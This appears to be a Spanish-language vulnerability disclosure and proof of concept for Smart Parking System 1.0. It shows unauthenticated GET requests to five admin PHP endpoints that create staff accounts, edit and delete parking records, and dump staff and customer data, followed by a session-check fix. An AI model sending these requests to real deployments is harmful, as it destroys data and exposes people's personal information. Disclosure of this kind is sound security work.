
Prueba de concepto que demuestra acceso no autenticado a funciones administrativas críticas en Smart Parking System 1.0, permitiendo la creación de cuentas, la manipulación de datos y la exposición de información personal identificable (PII).
| Campo | Detalles |
|---|
| Producto | Smart Parking System |
| Vendedor | code-projects.org |
| Versión | 1.0 |
| Clase de vulnerabilidad | Autenticación faltante para función crítica (CWE-306) |
| ID CVE | Pendiente |
| Puntuación CVSS | 9.8 Crítico (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Autenticación requerida | Ninguna |
| Archivos afectados | attendant.php, edit.php, basic_table.php, basic_table2.php, admin_request.php |
El Smart Parking System 1.0 de code-projects.org no aplica autenticación en múltiples endpoints exclusivos de administración. Un atacante remoto no autenticado puede acceder directamente a estos endpoints sin cookie de sesión y realizar operaciones privilegiadas, incluyendo la creación de cuentas de personal, la edición y eliminación de registros de estacionamiento, y la visualización de todos los datos personales de clientes y datos de reservas.
No se requieren credenciales, ni token de sesión, ni interacción de ningún usuario legítimo para explotar esta vulnerabilidad.
Sin credenciales / sin sesión
↓
Solicitud GET directa a endpoints de administración
↓
attendant.php → crear cuentas de personal fraudulentas
edit.php → leer y sobrescribir cualquier registro de estacionamiento
basic_table.php → eliminar cualquier registro de estacionamiento
basic_table2.php → volcar todos los datos personales del personal
admin_request.php → volcar todos los correos de clientes y datos de reservas
↓
Funcionalidad completa de administración comprometida
Abra una sesión de navegador nueva sin cookies. Navegue a la raíz de la aplicación. Se presenta la página de inicio de sesión, lo que confirma que no existe ninguna sesión activa:
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE/ HTTP/1.1
Host: 192.168.0.9
Navegue directamente al endpoint de registro de personal:
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE/attendant.php HTTP/1.1
Host: 192.168.0.9
Resultado: Se carga el formulario completo "Add Parking Attendant Details" con campos para nombre, apellido, número de móvil, calle, nombre de usuario y contraseña. Un atacante puede registrar una cuenta de personal fraudulenta con acceso al sistema.
Navegue directamente al endpoint de edición de registros de estacionamiento:
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE//edit.php?edit=5 HTTP/1.1
Host: 192.168.0.9
Resultado: Se carga el formulario "Update Parkings Details" prellenado con valores en vivo de la base de datos:
City: Mombasa
Street: Tudor
Slots: 150
Cost: 500
Un atacante puede sobrescribir cualquier campo y enviarlo para persistir los cambios directamente en la base de datos.
Envíe una solicitud GET directa al endpoint de eliminación:
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE/basic_table.php?delete=4 HTTP/1.1
Host: 192.168.0.9
Resultado: La aplicación responde con:
Parking deleted successfully
El registro se destruye permanentemente en la base de datos. No se requiere autenticación, ni token CSRF, ni mensaje de confirmación.
Navegue directamente al endpoint de listado de personal:
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE//basic_table2.php HTTP/1.1
Host: 192.168.0.9
Resultado: Se devuelve el registro completo del personal, incluidos nombres, números de móvil y calles asignadas:
karis kelvin 070824555 msa
king doshi 0708009360 Nairobi
james peter 0708009360 vol
tset test 0708009360 tset
Navegue directamente al endpoint de solicitudes de reservas de administración:
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE//admin_request.php HTTP/1.1
Host: 192.168.0.9
Resultado: Se devuelven todos los registros de reservas de clientes, incluidos correos electrónicos, plazas, horas y costes:
[email protected] slots:4 hours:2 cost:4000 status:requested
[email protected] slots:1 hours:6 cost:1200 status:Completed
[email protected] slots:1 hours:2 cost:1000 status:requested
[email protected] slots:1 hours:1 cost:500 status:requested
[email protected] slots:1 hours:1 cost:500 status:requested
[email protected] slots:1 hours:1 cost:500 status:requested
[email protected] slots:1 hours:3 cost:0 status:requested
[email protected] slots:1 hours:2 cost:1000 status:requested
| Archivo | Vulnerabilidad |
|---|---|
attendant.php | Creación de cuentas de personal sin autenticación |
edit.php | Acceso de lectura/escritura sin autenticación a registros de estacionamiento |
basic_table.php | Eliminación de registros de estacionamiento sin autenticación |
basic_table2.php | Acceso sin autenticación a todos los datos personales del personal |
admin_request.php | Acceso sin autenticación a todos los datos de reservas de clientes |
Añada una comprobación de autenticación de sesión al inicio de cada archivo PHP orientado a administración:
session_start();
if (!isset($_SESSION['admin']) || $_SESSION['admin'] !== true) {
header("Location: index.php");
exit();
}